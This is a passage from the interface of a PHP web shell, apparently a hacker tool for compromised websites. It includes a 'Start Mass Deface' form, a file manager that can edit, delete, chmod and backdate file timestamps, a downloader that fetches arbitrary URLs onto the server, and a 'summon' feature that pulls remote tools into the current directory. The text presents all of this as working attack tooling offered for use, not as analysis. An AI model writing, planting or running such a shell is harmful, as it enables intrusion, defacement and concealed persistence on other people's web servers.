style="background: #d4af37; color: #000; border: none; padding: 15px 30px; border-radius: 5px; cursor: pointer; font-weight: bold; width: 100%;">Start Mass Deface</button> </form> <div id="mdfcOutput" style="margin-top: 25px; background: #000; color: #0f0; padding: 20px; border-radius: 5px; font-family: monospace; max-height: 400px; overflow-y: auto; border: 1px solid #333;"></div> </div> <script> function startMassDeface(form) { const formData = $(form).serialize(); $('#mdfcOutput').html('<span style="color: #d4af37;">Starting mass deface operation...</span>'); $.post('?action=mdfc', formData, function(data) { $('#mdfcOutput').html(data); }); return false; } </script> <?php else: ?> <!-- File Manager --> <div class="file-actions"> <div style="display: flex; flex-wrap: wrap; gap: 12px; align-items: center; width: 100%;"> <a href="?path=<?=urlencode($docroot)?>" class="action-btn">🏠 Root</a> <a href="?path=<?=urlencode($self_dir)?>" class="action-btn">📂 FM Dir</a> <div class="search-box"> <input type="text" id="searchInput" placeholder="Search files..." value="<?=htmlspecialchars($search)?>"> <button onclick="searchFiles()" class="action-btn">🔍 Search</button> </div> <button onclick="$('#uploadInput').click()" class="action-btn">📤 Upload</button> <button onclick="$('#newFileModal').show()" class="action-btn">📄 New File</button> <button onclick="$('#newFolderModal').show()" class="action-btn">📁 New Folder</button> <button onclick="$('#downloaderModal').show()" class="action-btn">⬇️ Download</button> </div> </div> <table class="file-table"> <thead> <tr> <th><a href="<?=sort_url('name',$sort,$order,$path,$search)?>" style="color: #d4af37; text-decoration: none;">Name <?=$sort=='name'?($order=='asc'?'↑':'↓'):''?></a></th> <th>Owner</th> <th>Size</th> <th>Permissions</th> <th><a href="<?=sort_url('mtime',$sort,$order,$path,$search)?>" style="color: #d4af37; text-decoration: none;">Modified <?=$sort=='mtime'?($order=='asc'?'↑':'↓'):''?></a></th> <th>Actions</th> </tr> </thead> <tbody> <?php if($path != $parent): ?> <tr> <td><a href="?path=<?=urlencode($parent)?>" style="color: #4a9eff;">📁 ..</a></td> <td>-</td> <td>-</td> <td>-</td> <td>-</td> <td></td> </tr> <?php endif; ?> <?php foreach(array_merge($folders, $regular_files) as $f): ?> <?php $fp = $path.'/'.$f['name']; ?> <tr> <td> <?php if(is_dir($fp)): ?> <a href="?path=<?=urlencode($fp)?>" style="color: #4a9eff;">📁 <?=htmlspecialchars($f['name'])?></a> <?php else: ?> 📄 <?=htmlspecialchars($f['name'])?> <?php endif; ?> </td> <td><?=htmlspecialchars($f['owner'])?></td> <td><?=!empty($f['size']) ? htmlspecialchars($f['size']) : '-'?></td> <td> <button class="perm-file perm-btn" data-file="<?=htmlspecialchars($f['name'])?>" data-perm="<?=htmlspecialchars($f['perm'])?>"> <?=$f['perm']?> </button> </td> <td> <button class="mtime-file mtime-btn" data-file="<?=htmlspecialchars($f['name'])?>" data-mtime="<?=date('Y-m-d\TH:i',$f['mtime'])?>"> <?=date('Y-m-d H:i',$f['mtime'])?> </button> </td> <td class="file-actions-cell"> <?php if(!is_dir($fp)): ?> <button class="edit-file" data-file="<?=htmlspecialchars($f['name'])?>">✏️</button> <?php endif; ?> <button class="rename-file" data-file="<?=htmlspecialchars($f['name'])?>">✍️</button> <button class="delete-file" data-file="<?=htmlspecialchars($f['name'])?>">🗑️</button> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </div> <!-- Modals --> <div id="editModal" class="modal"> <div class="modal-content"> <h2>Edit File: <span id="editFilename"></span></h2> <form method="post"> <input type="hidden" name="edit_file" id="editFileInput"> <textarea name="content" id="editContent"></textarea> <div class="modal-buttons"> <button type="submit" class="modal-btn primary">💾 Save</button> <button type="button" class="modal-btn secondary close-modal">❌ Close</button> </div> </form> </div> </div> <div id="deleteModal" class="modal"> <div class="modal-content"> <h2>Delete File</h2> <p>Are you sure you want to delete <strong id="deleteFilename"></strong>?</p> <form method="post"> <input type="hidden" name="delete" id="deleteFileInput"> <div class="modal-buttons"> <button type="submit" class="modal-btn primary" style="background: #f44336;">🗑️ Delete</button> <button type="button" class="modal-btn secondary close-modal">❌ Cancel</button> </div> </form> </div> </div> <div id="renameModal" class="modal"> <div class="modal-content"> <h2>Rename File</h2> <form method="post"> <input type="hidden" name="rename_from" id="renameOld"> <input type="text" name="rename_to" id="renameNew" placeholder="New name"> <div class="modal-buttons"> <button type="submit" class="modal-btn primary">✍️ Rename</button> <button type="button" class="modal-btn secondary close-modal">❌ Cancel</button> </div> </form> </div> </div> <div id="permModal" class="modal"> <div class="modal-content"> <h2>Change Permissions</h2> <p>File: <strong id="permFilename"></strong></p> <form method="post"> <input type="hidden" name="update_perm" id="permFileInput"> <input type="text" name="perm_value" id="permValue" placeholder="e.g. 755"> <div class="modal-buttons"> <button type="submit" class="modal-btn primary">🔧 Update</button> <button type="button" class="modal-btn secondary close-modal">❌ Cancel</button> </div> </form> </div> </div> <div id="mtimeModal" class="modal"> <div class="modal-content"> <h2>Change Modified Time</h2> <p>File: <strong id="mtimeFilename"></strong></p> <form method="post"> <input type="hidden" name="update_mtime" id="mtimeFileInput"> <input type="datetime-local" name="mtime_value" id="mtimeValue"> <div class="modal-buttons"> <button type="submit" class="modal-btn primary">⏰ Update</button> <button type="button" class="modal-btn secondary close-modal">❌ Cancel</button> </div> </form> </div> </div> <div id="newFileModal" class="modal"> <div class="modal-content"> <h2>Create New File</h2> <form method="post"> <input type="text" name="new_file" placeholder="Filename"> <div class="modal-buttons"> <button type="submit" class="modal-btn primary">📄 Create</button> <button type="button" class="modal-btn secondary close-modal">❌ Cancel</button> </div> </form> </div> </div> <div id="newFolderModal" class="modal"> <div class="modal-content"> <h2>Create New Folder</h2> <form method="post"> <input type="text" name="new_folder" placeholder="Folder name"> <div class="modal-buttons"> <button type="submit" class="modal-btn primary">📁 Create</button> <button type="button" class="modal-btn secondary close-modal">❌ Cancel</button> </div> </form> </div> </div> <div id="downloaderModal" class="modal"> <div class="modal-content"> <h2>Download File</h2> <form method="post"> <input type="text" name="download_url" placeholder="URL"> <input type="text" name="output_name" placeholder="Output filename"> <select name="method"> <option value="file_get_contents">file_get_contents</option> <option value="curl">cURL</option> <option value="fopen">fopen</option> <option value="copy">copy</option> </select> <div class="modal-buttons"> <button type="submit" class="modal-btn primary">⬇️ Download</button> <button type="button" class="modal-btn secondary close-modal">❌ Cancel</button> </div> </form> </div> </div> <!-- Upload Form --> <form method="post" enctype="multipart/form-data" id="uploadForm" style="display: none;"> <input type="file" name="files[]" multiple id="uploadInput" onchange="this.form.submit()"> </form> <div class="footer"> © <?=date('Y')?> <?=APP_NAME?> v<?=APP_VER?> | Seo Paculo Ganteng </div> <script> // Search function function searchFiles() { const search = $('#searchInput').val(); window.location.href = '?path=<?=urlencode($path)?>&search=' + encodeURIComponent(search); } // Summon function $('#summonBtn').click(function() { const url = $('#summonSelect').val(); if(url) { $.post('', { summon_url: url, summon_path: '<?=addslashes($path)?>' }, function() { location.reload(); }); } }); // Toast notification for messages <?php if(isset($_SESSION['msg'])): ?> setTimeout(function() { const msg = "<?=addslashes($_SESSION['msg'])?>"; const type = "<?=$_SESSION['msg_type']?>"; showToast(msg, type); }, 500); <?php unset($_SESSION['msg'], $_SESSION['msg_type']); endif; ?> function showToast(message, type) { const toast = document.createElement('div'); toast.style.cssText = ` position: fixed; top: 20px; right: 20px; padding: 15px 25px; background: ${type === 'error' ? '#f44336' : '#4CAF50'}; color: white; border-radius: 5px; box-shadow: 0 4px 15px rgba(0,0,0,0.3); z-index: 9999; animation: slideIn 0.3s ease; font-weight: bold; border: 1px solid ${type === 'error' ? '#d32f2f' : '#388e3c'}; `; toast.textContent = message; document.body.appendChild(toast); setTimeout(() => { toast.style.animation = 'slideOut 0.3s ease'; setTimeout(() => toast.remove(), 300); }, 3000); } // Add CSS for animations const style = document.createElement('style'); style.textContent = ` @keyframes slideIn { from { transform: translateX(100%); opacity: 0; } to { transform: translateX(0); opacity: 1; } } @keyframes slideOut { from { transform: translateX(0); opacity: 1; } to { transform: translateX(100%); opacity: 0; } } `; document.head.appendChild(style); </script> </body> </html>
Close